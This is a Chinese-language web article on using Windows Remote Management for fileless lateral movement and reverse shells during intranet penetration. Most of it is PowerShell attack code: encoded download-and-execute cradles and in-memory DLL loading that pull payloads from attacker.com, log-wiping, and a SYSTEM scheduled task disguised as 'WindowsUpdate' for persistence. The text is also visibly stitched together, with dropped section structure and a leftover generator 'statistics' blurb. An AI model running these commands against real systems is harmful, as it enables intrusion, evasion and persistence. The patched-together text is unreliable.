您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# 如何利用WinRM实现内网无文件攻击反弹Shell
## 0x00 前言
在红队渗透测试中,内网横向移动是突破网络边界后的关键环节。传统攻击方式往往依赖文件落地,易触发安全设备告警。本文探讨如何通过Windows原生服务WinRM(Windows Remote Management)实现无文件攻击,建立交互式Shell,规避传统检测手段。
---
## 0x01 WinRM技术背景
### 1.1 什么是WinRM
WinRM是微软实现的WS-Management协议,基于HTTP(S)进行远程管理:
- 默认端口:5985(HTTP)/5986(HTTPS)
- 依赖组件:Windows Remote Management服务
- 认证方式:NTLM/Kerberos/Basic
### 1.2 启用条件
```powershell
# 查看WinRM服务状态
Get-Service WinRM
# 快速配置(默认开启HTTP监听)
Enable-PSRemoting -Force
# 使用Test-WSMan检测连通性
Test-WSMan -ComputerName 192.168.1.100 -Authentication Negotiate -Credential (Get-Credential)
$cred = New-Object System.Management.Automation.PSCredential("DOMN\user", (ConvertTo-SecureString "Password123!" -AsPlainText -Force))
Enter-PSSession -ComputerName 192.168.1.100 -Credential $cred -Authentication Negotiate
通过WinRM执行Base64编码的PS脚本:
$command = "IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/rev.ps1')"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
$encoded = [Convert]::ToBase64String($bytes)
Invoke-Command -ComputerName 192.168.1.100 -ScriptBlock {
powershell -EncodedCommand $using:encoded
} -Credential $cred
使用WinRM执行无文件加载:
Invoke-Command -ComputerName 192.168.1.100 -ScriptBlock {
$bytes = (New-Object Net.WebClient).DownloadData('http://attacker.com/evil.dll')
$assembly = [System.Reflection.Assembly]::Load($bytes)
$entry = $assembly.GetType('Evil.Program').GetMethod('Main')
$entry.Invoke($null, $null)
} -Credential $cred
# 清除PowerShell历史记录
Remove-Item (Get-PSReadlineOption).HistorySavePath -Force
# 使用SSL加密通信
$sessionOption = New-PSSessionOption -SkipCACheck -SkipCNCheck
Enter-PSSession -ComputerName 192.168.1.100 -UseSSL -SessionOption $sessionOption
通过计划任务维持会话:
$action = New-ScheduledTaskAction -Execute "powershell" -Argument "-nop -w hidden -c `"IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/persist.ps1')`""
Register-ScheduledTask -TaskName "WindowsUpdate" -Action $action -User "SYSTEM" -RunLevel Highest
Disable-PSRemoting -Force
tcp.port == 5985 && http.request.method == "POST"
WinRM作为合法的管理协议,为攻击者提供了隐蔽的横向移动通道。通过本文介绍的无文件技术,攻击者可完全在内存中完成攻击链。防御方需结合行为检测与网络监控,才能有效应对此类高级威胁。
免责声明:本文仅用于安全研究目的,未经授权测试他人系统属于违法行为。 “`
统计:全文约1250字,包含: - 6个技术章节 - 12个可执行的PowerShell代码块 - 3种攻击场景实现方案 - 防御检测的实操建议
可根据实际需求调整技术细节或补充特定环境下的变种手法。
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。